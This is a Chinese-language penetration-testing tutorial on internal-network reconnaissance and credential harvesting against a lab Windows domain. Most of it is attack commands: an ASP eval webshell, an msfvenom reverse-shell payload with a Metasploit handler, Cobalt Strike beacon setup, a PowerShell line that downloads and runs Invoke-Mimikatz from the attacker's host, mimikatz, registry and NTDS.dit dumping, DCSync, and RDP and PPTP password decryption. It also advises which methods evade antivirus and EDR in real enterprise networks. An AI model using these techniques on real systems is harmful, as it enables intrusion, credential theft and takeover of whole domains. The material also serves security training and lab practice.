【网安-Web渗透测试-内网渗透】内网信息收集(工具)

目录

  • [1. 内网基础知识](#1. 内网基础知识)
    • [1.1 局域网](#1.1 局域网)
      • [1.1.1 局域网简介](#1.1.1 局域网简介)
      • [1.1.2 局域网的网络结构](#1.1.2 局域网的网络结构)
    • [1.2 工作组](#1.2 工作组)
    • [1.3 域](#1.3 域)
    • [1.4 内网渗透](#1.4 内网渗透)
  • [2. 环境说明](#2. 环境说明)
    • [2.1 DC](#2.1 DC)
    • [2.2 WebServer](#2.2 WebServer)
    • [2.3 Marry](#2.3 Marry)
    • [2.4 Jack](#2.4 Jack)
  • [3. Cobalt Strike工具:用户凭据(密码)收集](#3. Cobalt Strike工具:用户凭据(密码)收集)
  • [4. Metasploit信息收集](#4. Metasploit信息收集)
  • [5. 内网存活探测](#5. 内网存活探测)
    • [5.1 Netbios协议探测](#5.1 Netbios协议探测)
    • [5.2 Nbtscan](#5.2 Nbtscan)
    • [5.3 ICMP协议探测](#5.3 ICMP协议探测)
    • [5.4 UDP协议探测](#5.4 UDP协议探测)
  • [5.5 Unicornscan扫描](#5.5 Unicornscan扫描)
  • [5.6 ARP协议探测](#5.6 ARP协议探测)
  • [5.7 SMB协议探测](#5.7 SMB协议探测)
  • [6. Windows Hash](#6. Windows Hash)
    • [6.1 基本概念](#6.1 基本概念)
    • [6.2 Hash获取](#6.2 Hash获取)
      • [6.2.1 Powershell脚本](#6.2.1 Powershell脚本)
      • [6.2.2 Meterpreter](#6.2.2 Meterpreter)
      • [6.2.3 Mimikatz](#6.2.3 Mimikatz)
      • [6.2.4 注册表导出hash](#6.2.4 注册表导出hash)
  • [7. 获取本地系统的RDP连接记录和密码](#7. 获取本地系统的RDP连接记录和密码)
    • [7.1 获取RDP连接( remote desktop )](#7.1 获取RDP连接( remote desktop ))
    • [7.2 本地RDP连接密码解密](#7.2 本地RDP连接密码解密)
    • [7.3 mimikatz解密密码文件](#7.3 mimikatz解密密码文件)
  • [8. 域内用户凭据密码获取](#8. 域内用户凭据密码获取)
    • [8.1 Ntdsutil](#8.1 Ntdsutil)
    • [8.2 VssAdmin](#8.2 VssAdmin)
    • [8.3 Ninjacopy](#8.3 Ninjacopy)
  • [9. 解密ntds.dit](#9. 解密ntds.dit)
    • [9.1 Secretsdump](#9.1 Secretsdump)
    • [9.2 NtdsAudit](#9.2 NtdsAudit)
    • [9.3 NtdsAudit](#9.3 NtdsAudit)
  • [10. PPTP口令获取](#10. PPTP口令获取)

1. 内网基础知识

内网即局域网,由组织或公司的计算机组成,可通过私有协议通信,实现数据安全便捷传输。

1.1 局域网

1.1.1 局域网简介

局域网(LAN)是局部范围内的网络,由计算机、打印机、服务器等设备通过网络互联,实现资源共享与信息交换。拓扑结构可采用星型、环型等,支持以太网等技术。

常见应用包括文件共享、联机游戏、视频会议等,同时支持电子邮件、FTP等Internet应用。

1.1.2 局域网的网络结构

核心组成包括:

  • 客户端:用户使用的计算机,用于获取网络资源和服务;
  • 服务器:提供文件、打印、数据库等网络服务;
  • 网络媒介:连接网络设备的物理载体(如电缆、无线电波);
  • 网络设备:连接各类设备(如交换机、路由器);
  • 网络协议:设备通信标准(如TCP/IP、IPX/SPX协议)。
    (3)局域网的特点
    网络规模小(范围数百米内)、传输速度快、拓扑结构灵活、维护成本低、安全性高。

1.2 工作组

工作组(Work Group)是一种最常见、最简单的网络资源管理模式,核心是将网络中的电脑、设备按功能分类分组,便于统一管理(例如大学高校、网吧等场景常用)。其核心特点如下:

  • ① 默认情况下,所有计算机均处于名为"WORKGROUP"的工作组中。
  • ② 适合网络计算机数量少、管理要求不严格的场景,中小公司多采用此模式进行资源权限分配和目录共享。
  • ③ 建立步骤简单、易上手,无需复杂配置。
  • ④ 相同组或不同组的用户,均可通过对方主机的用户名和密码,查看其共享文件夹(默认共享Users目录)。
  • ⑤ 工作组无真正的集中管理功能,组内所有计算机地位对等,不存在服务器与客户机的区分。

1.3 域

工作组适用于小规模、低安全需求的网络;当网络规模庞大(数千/数万台主机)时,需采用域环境管理。

  • 单域:网络中仅存在一个域;
  • 父域子域:一个域划分出的主域(父域)与分支域(子域);
  • 域树:多个域通过信任关系组成的集合;
  • 域林:由一个或多个无连续名字空间的域树组成;
  • 域控(DC):域模式下的验证服务器,存储域内账户、密码等信息,负责鉴别计算机和用户合法性,保护网络资源。

1.4 内网渗透

内网渗透是获取目标服务器控制权后,通过内网信息收集、代理、权限提升、横向移动等技术,获取内网其他主机(如域控、运维主机)权限的过程。

域渗透思路

  1. 通过域成员主机,定位域控制器IP及域管理员账号;
  2. 以域成员主机为跳板,渗透其他域成员;
  3. 利用域管理员权限特性,定位其登录过的主机,dump密码并拿下域控制器;
  4. 渗透整个内网。

注意

域是Windows系统概念,Linux无域控但可作为域成员,域内信息收集命令多针对Windows系统。但Linux主机可以被添加为域成员。

2. 环境说明

2.1 DC

名称
操作系统 Windows Server 2008
IP地址 102.168.179.21

2.2 WebServer

名称
操作系统 Windows Server 2008
IP地址 102.168.179.31

2.3 Marry

名称
操作系统 Windows 7
IP地址 102.168.179.25

2.4 Jack

名称
操作系统 Windows 8.1
IP地址 102.168.179.29

3. Cobalt Strike工具:用户凭据(密码)收集

Step1 :在WebServer的IIS中添加1.asp文件,用于后续的WebShell。

新建ASP脚本:

bash 复制代码
# 文件名为1.asp
<% eval request("test") %>

备注:此处默认站点中存在漏洞被攻击者利用并上传了WebShell。

Step2:启动CS的Server端和Client端

Server端(Kali机中运行):

bash 复制代码
$ cd /home/kali/tools/CS4.8   #切换到我们上传的CS4.8⽬录中
$ cd server                   #切换到server⽬录

#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test   #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali: 

[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
        for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth

[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050   # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d

Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到WebServer(网站服务器)运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至WebServer。

在中运行了cs_1.exe后,在CS中成功上线了。

Step3:网络探针(net view)

作用:探测内网环境下存活的主机。

得到了同一网段中的其它主机IP。

Step4:端口扫描

作用:扫描内网环境下对外开放的端口。

等待CS将各IP的端口扫描出来。

在"视图"中打开"目标列表",可以查看结果。

Step5:密码凭证获取

开始获取Hash,但遇到了权限不够的情况下,因此需要提权处理。

提权处理,让抓取明文密码更加方便。

提权成功后的Hash获取。

抓取明文密码,并显示密码。


得到用户和密码喜喜后,可以尝试内网横向移动的操作了。

说明:Cobalt Strike工具的功能极其强大,除信息收集外,还有提权、横向移动、代理转发等功能。

4. Metasploit信息收集

Step1:进入Kali系统,并执行如下命令生成木马。

bash 复制代码
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=4444 -f exe >su.exe

Step2:用Webshell将木马上传都WebServer(蚁剑为例)

Step3:MSF进入监听模式

bash 复制代码
#输入命令设置本地监听,具体命令如下:启动msf:
$ msfconsole

#选择工具:
msf6 > use exploit/multi/handler
#设置攻击语句:
msf6 > set payload windows/meterpreter/reverse_tcp
#设置监听IP(注意IP地址是本地kali机器的IP地址):
msf6 > set lhost 192.168.179.128
#设置监听端口:
msf6 > set lport 4444
#开始监听:
msf6 > exploit #或者run

Step4:在蚁剑中,进入虚拟终端调用上传的MSF木马

MSF上线之后,就可以调用MSF强大的功能模块去做渗透了。

Step5:权限提升处理

bash 复制代码
# meterpreter 后台挂起
meterpreter > background
# 利用Juicy Potato漏洞实现提权。当然也可以用其它可利用的漏洞进行提权
msf6 > use exploit/windows/local/ms16_075_reflection_juicy
msf6 > set session 1
msf6 > run
meterpreter > getuid

从图中可以看到,权限已提升到了SYSTEM了。

Step6:收集系统信息

bash 复制代码
meterpreter > run scraper
meterpreter > run winenum


Step7:打开新的 Kali 终端

bash 复制代码
$ cd /home/kali/.msf4/logs/scripts/winenum && ls -R

至此,已经获取到了目标主机的所有输出信息。

5. 内网存活探测

5.1 Netbios协议探测

NetBIOS 是 1983 年为 IBM 开发的应用程序接口(API),用于局域网内计算机程序间的通信与数据共享,可通过多种方式将自身标识名称解析为 IP 地址,是局域网互访的基础。

bash 复制代码
$ nmap -sU -T4 --script nbstat.nse -p137 192.168.179.2/24

MSF扫描(对应的模块)

bash 复制代码
# 需要进入MSF后的操作
msf6> use auxiliary/scanner/netbios/nbname

5.2 Nbtscan

使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBI0S名称服务器。

bash 复制代码
$ nbtscan -r 10.0.0.0/24

5.3 ICMP协议探测

ICMP 全称 Internet 控制消息协议,属于 TCP/IP 协议族子协议,用于IP 主机、路由器之间传递网络控制消息。日常常用的 Ping 网络连通性检测、Tracert 路由追踪 命令,均基于 ICMP 协议实现。

bash 复制代码
# CMD下扫描内网C端存活主机
C:\> for /l %i in (1,1,255) do @ ping 192.168.179.%i -w 1 -n 1|find /i "ttl="

# 输出内容导出:
C:\> @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.179.%i& if errorlevel 1 (echo 10.0.0.%i>>c:\a.txt)else (echo 10.0.0.%i

5.4 UDP协议探测

UDP(User Datagram Protocol,用户数据报协议),是 OSI 模型无连接的传输层协议,提供面向事务的简单不可靠数据传输服务。

  1. UDP 优点
    • 传输速度快:无需 TCP 三次握手、确认、窗口、重传、拥塞控制等机制,属于无状态协议,转发效率高。
    • 相对更安全:攻击面少于 TCP。
      资源占用小:协议结构简单,对系统资源消耗低。
  2. UDP 缺点
    无连接、传输不可靠不稳定,易丢包,不保证数据包有序、不重复、不丢失。
bash 复制代码
C:\> nmap -sU -T4 -max-retries 1 10.0.0.0 -p 500

MSF扫描

bash 复制代码
msf6 > use auxiliary/scanner/discovery/udp probe
msf6 > use auxiliary/scanner/discovery/udp sweep

5.5 Unicornscan扫描

linux下推荐使用

bash 复制代码
$ unicornscan -mU 192.168.179.2/24

5.6 ARP协议探测

ARP(地址解析协议)作用是将 IP 地址解析为 MAC 物理地址。局域网内主机通信时,仅知道对方 IP 地址无法直接在物理网络传输,IP 数据包必须封装成数据帧,而封装需要依赖目标 MAC 地址。ARP 就是专门实现IP 地址与 MAC 地址映射解析的协议。

bash 复制代码
$ nmap -sn -PR 10.0.0.0/24

MSF扫描

bash 复制代码
msf6 > use auxiliary/scanner/discovery/arp sweep

5.7 SMB协议探测

SMB(Server Message Block,服务器消息块协议),主要用于文件共享、打印机共享、串口共享等局域网资源交互。

  1. 协议作用
    • SMB 采用客户端 / 服务器架构,Windows 系统默认同时充当 SMB 客户端与服务端。
    • Windows 网络邻居、域内主机互相访问共享资源,均依赖 SMB 协议实现。
    • SMB 服务端向客户端提供网络共享资源,双方可基于 TCP/IP、IPX、NetBEUI 协议建立通信。
  2. 协议端口
    SMB 基于 TCP+NetBIOS 运行:
    • 139 端口:基于 NetBIOS 的 SMB 通信
    • 445 端口:直接基于 TCP 的 SMB 通信

smbclient扫描

bash 复制代码
$ smbclient -L //192.168.179.131 -N

MSF扫描

bash 复制代码
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > exploit

# 或

msf6 > use auxiliary/scanner/portscan/syn
msf6 > exploit

6. Windows Hash

6.1 基本概念

哈希(Hash)是通过加密函数对任意长度字符串进行运算,输出固定长度的特征字符串。Windows 系统对用户密码做哈希加密,主要有 LM 哈希、NTLM 哈希,后续升级为 NTLMv2、Kerberos 认证体系。

Windows Hash 组成

系统默认密码 Hash 由两部分构成:LM-Hash + NTLM-Hash

标准格式

bash 复制代码
用户名:RID:LM-HASH值:NT-HASH值

Hash 分类

  1. LM 哈希
    • 密码最大支持 14 位
    • 安全性弱,现已基本淘汰
  2. NTLM 哈希
    • 密码超过 14 位时自动使用 NTLM 哈希
    • 域环境、本地认证主要依赖 NTLM

6.2 Hash获取

6.2.1 Powershell脚本

Step1:kali开启http服务

bash 复制代码
$ python3 -m http.server

Powershell远程加载mimikatz脚本(下载地址

bash 复制代码
C:\> powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

#使用powershell 去远程请求去下载Invoke-Mimikatz.ps1这个脚本,通过IEX向系统申请内存然后运行该脚本。

C:\> powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8000/Get-PassHashes.ps1'); Get-PassHashes

6.2.2 Meterpreter

Hashdump:

bash 复制代码
# system权限的meterpreter
msf6 > use post/windows/gather/hashdump 
msf6 > set session 1
# 结果保存在tmp目录下
msf6 > exploit

smart_hashdump:

bash 复制代码
msf6 > use post/windows/gather/smart_hashdump
$ set session 1
msf6 > exploit

hashdump:

bash 复制代码
# 拿到目标主机的shell之后,在meterpreter中使用
meterpreter > hashdump

6.2.3 Mimikatz

下载地址:Mimikatz For Win10

bash 复制代码
C:\> mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

C:\> mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

(进入mimikatz后)获取hash值:

bash 复制代码
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

(进入mimikatz后)获取明文密码:

bash 复制代码
mimikatz # privilege::debug 
mimikatz # sekurlsa::logonpasswords

6.2.4 注册表导出hash

导出注册表值的命令

bash 复制代码
C:\> reg save HKLM\SYSTEM system.hiv
C:\> reg save HKLM\SAM sam.hiv
C:\> reg save HKLM\SECURITY security.hiv

用 Kali 自带 secretsdump 解密

bash 复制代码
$ impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL

四种方法综合对比总结

方法 有无文件落地 是否免杀隐蔽 能否拿明文 适用场景
Powershell 内存加载 差(易被 AMSI 拦截) 靶场无加固、内网快速批量抓凭证
Meterpreter hashdump 一般(MSF 特征明显) 不能 MSF 会话下快速拿 Hash
独立 Mimikatz 差(原版易被杀软拦截) 无杀软靶场、需要明文 + 全维度凭证
注册表离线导出 可控可删除 极强(原生无特征) 不能 企业加固环境、有杀软 EDR、实战内网横向

实战渗透建议

  • 靶场学习优先使用 Meterpreter hashdump 和 Powershell内存加载;
  • 企业真实内网、有杀软 / EDR 加固环境,优先使用注册表导出离线解密方案,隐蔽性最强、无防护拦截;若需要明文凭证,再配合免杀版 Mimikatz 使用。

7. 获取本地系统的RDP连接记录和密码

7.1 获取RDP连接( remote desktop )

  1. 用途
    获取目标主机用户保存过的 RDP 连接信息(IP / 端口 / 用户名 / 密码),解密后可直接用于内网横向移动。
  2. 原理
    Windows 会将用户保存的 RDP 凭据加密存储在:
    • 凭据管理器
    • 用户目录下的 Default.rdp
    • 注册表 HKCU\Software\Microsoft\Terminal Server Client\Servers
      PowerShell 可直接读取并解密。

脚本下载地址:链接

bash 复制代码
C:\> powershell --exec bypass .\ListAllUsers.ps1

使用此脚本可以收集当前系统的RDP的连接记录,由此可以判断出当前目标网络的结构。如果能够使用工具读取到凭据信息的话,那么可以直接借此连接RDP,从而获取一些数据和信息。

7.2 本地RDP连接密码解密

  • 查看本地连接过的目标机器
bash 复制代码
C:\> reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal ServerClient\Servers" /s
  • 查看本地用户此目录下是否存有RDP密码文件
bash 复制代码
C:\> dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

当本地用户的管理员方便自己管理,在使用远程连接的时候勾选了保存密码的选项时,所连接过的计算机的记录会在本地保存。此时可用命令去读取。

  • 查看保存在本地的远程主机信息
bash 复制代码
C:\> cmdkey /list

7.3 mimikatz解密密码文件

Step1:管理员身份启动mimikatz

bash 复制代码
mimikatz # privilege::debug

mimikatz # dpapi::cred /in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99C83662

Step2:根据guidMasterKey找到对应的Masterkey

bash 复制代码
mimikatz # sekurlsa::dpapi

Step3:通过Masterkey解密pbData数据,拿到明文RDP连接密码:

bash 复制代码
mimikatz # dpapi::cred/in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99 C83662/masterkey:bf8240e1231b659aed422b32d53b4099c45f6bdcf9532af1dd43ac1cdab7d20dc2bfdc 7ba6b717c3b1d50aa848edf5cc59dce9378db9d2362a487681a4157803

8. 域内用户凭据密码获取

  1. Volume shadow Copy:

    • ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。
    • 为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件文件与ntds.dit文件都需要拥有一个system文件
  2. AD DS数据存储:

    • 由 ntds.dit 文件构成
    • 默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
    • 只能通过域控制器进程和协议访问
  3. 作用

    • 用于数据备份;
    • 支持Windows Server 2003 及以上操作系统;
    • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,具体时间无法确定;
    • 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup。

由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。

bash 复制代码
#ntds.dit文件位置:
%SystemRoot%\NTDS\NTDS.dit 

#system文件位置:
%SystemRoot%System32\config\SYSTEMsam

#文件位置:
%SystemRoot%System32\config\SAM

8.1 Ntdsutil

Ntdsutil.exe:一个为 Active Directory 提供管理设施的命令行工具,域环境默认安装。

支持系统:Server 2003、Server 2008、Server 2012

bash 复制代码
C:\> ntdsutil snapshot
activate instance ntds
create
mount [GulD] 
unmout [GUlD]  //copy 完之后再执行卸载
del [GulD]
quit
  • 复制相应的NTDS.dit文件
bash 复制代码
C:\> copy C:\$SNAP_202408271844_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit
  • 查询当前系统的快照
bash 复制代码
C:\> ntdsutil snapshot "List All" quit quit 
C:\> ntdsutil snapshot "List Mounted" quit quit
  • 创建快照
bash 复制代码
C:\> ntdsutil snapshot "activate instance ntds" create quit quit
  • 挂载快照
bash 复制代码
C:\> ntdsutil snapshot "mount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
  • 复制ntds.dit文件
bash 复制代码
C:\> copy C:\$SNAP_202408272046_VOLUMEC$\Windows\NTDS c:\ntds2.dit
  • 卸载快照
bash 复制代码
C:\> ntdsutil snapshot "unmount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
  • 删除快照
bash 复制代码
C:\> ntdsutil snapshot "delete {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
  • Ntdsutil命令的其他的用法:
bash 复制代码
# 交互式
C:\> ntdsutil
activate instance ntds 
ifm
create full <Drive>:\<Folder>
quit 
quit
bash 复制代码
# 非交互式
C:\> Ntdsutil "activate instance ntds" ifm "create full C:\dabai" quit quit

8.2 VssAdmin

这是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。

作用:

  • 用于创建或删除卷影副本,列出卷影副本的信息
  • 用于显示所有安装的所有卷影副本写入程序和提供程序
  • 改变卷影副本存储空间的大小等
bash 复制代码
#查询当前系统的快照: 
C:\> vssadmin list shadows

#2.创建快照:
C:\> vssadmin create shadow /for=c:

#3.获得Shadow Copy Volume Name:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6
  • 复制ntds.dit
bash 复制代码
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy9\windows\NTDS\ntds.ditc:\ntds3.dit
  • 删除快照:
bash 复制代码
C:\> vssadmin delete shadows /for=c:/quiet

8.3 Ninjacopy

在调用windows系统中的一些命令(vssadmin、ntdsutil 等等)去运行Volume shadow Copy(卷影服务)时,由于Windows系统的保护机制,常常会在日志文件中产生7036的记录。那么我们可以通过powershell的脚本的方式去获取域环境中的ntds.dit文件。

脚本下载地址:(链接

bash 复制代码
# 1、将脚本导入到目标系统:

# 2、CMD命令行调用powershell脚本:
C:\> Import-Module .\Invoke-NinjaCopy.ps1


# 3、利用脚本获取sam数据库或者是获取ntds.dit文件
C:\> Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
C:\> Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\Users\administrator\Desktop\ntds.dit


9. 解密ntds.dit

在使用工具或者技术获取到了域中的ntds.dit文件之后,接下来就要使用各种方法去解密 ntds.dit文件。将此文件解密之后,即可获得域内用户的账号密码信息。可凭借此信息进行横向移动控制内网域。

9.1 Secretsdump

脚本下载地址:(地址1地址2

bash 复制代码
C:\> secretsdump.exe -samsam.hiv -security security.hiv -system sys.hiv LOCAL 
C:\> secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

9.2 NtdsAudit

脚本下载地址:链接

bash 复制代码
#脚本解密:
C:\> NtdsAudit.exe "ntds.dit" -s "system" -p pwdump.txt --users-csv users.csv



9.3 NtdsAudit

Mimikatz有一个功能(dcsync),它可以利用目录复制服(DirectoryReplicationService,DRS)从 NTDS.DIT文件中提取密码哈希值。通过dcsync直接获取域内所有用户hash

  • 运行命令
bash 复制代码
C:\> mimikatz lsadump::dcsync /domain:god.org /all /csv
  • 获取单个用户的详细信息
bash 复制代码
C:\> mimikatz lsadump::dcsync /domain:god.org /user:krbtgt
  • 查看所有用户的所有详细信息
bash 复制代码
C:\> mimikatz lsadump::lsa /inject

10. PPTP口令获取

PPTP协议(Point-to-Point Tunneling Protocol)是一种用于创建虚拟私人网络(VPN)的协议,它允许远程用户通过公共网络安全地访问私人网络。PPTP点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透需要拿到目标系统管理员权限。

  • 获取PPTP配置信息
bash 复制代码
# 可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
C:\> type %APPDATA%\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbk
  • mimikatz获取PPTP密码
bash 复制代码
C:\> mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
  • 命令行下连接VPN
bash 复制代码
C:\> rasdial "VPN111" admin admin123
  • 命令行关闭VPN连接
bash 复制代码
C:\> rasphone -h "VPN111"
相关推荐
忡黑梨1 小时前
eNSP_DHCP配置
c语言·网络·c++·python·算法·网络安全·智能路由器
Mr.45671 小时前
CentOS 7 完整部署开源 MQTT 服务器 EMQX 指南(2025实战版)
服务器·开源·centos
淼淼爱喝水1 小时前
openEuler 环境下 Ansible Playbook 实战:批量创建用户并修改 Shell 属性
linux·运维·服务器·openeuler·playbook
csdn2015_1 小时前
Java List 去重
java·windows·list
计算机安禾1 小时前
【Linux从入门到精通】第30篇:综合案例:编写一个Linux系统体检脚本
linux·运维·服务器
草履虫君1 小时前
wsl的装龙虾方式,接入飞书的时候需要在wsl环境装飞书插件,那么node模式接入飞书,需要怎么装飞书插件?
服务器·经验分享·飞书
海的预约2 小时前
Bootloader应用分析
linux·运维·服务器
时空未宇2 小时前
海鸥派顺利运行YOLO11S
linux·运维·服务器
X7x52 小时前
ACL访问控制列表:网络安全的守护神
网络协议·网络安全·信息与通信·acl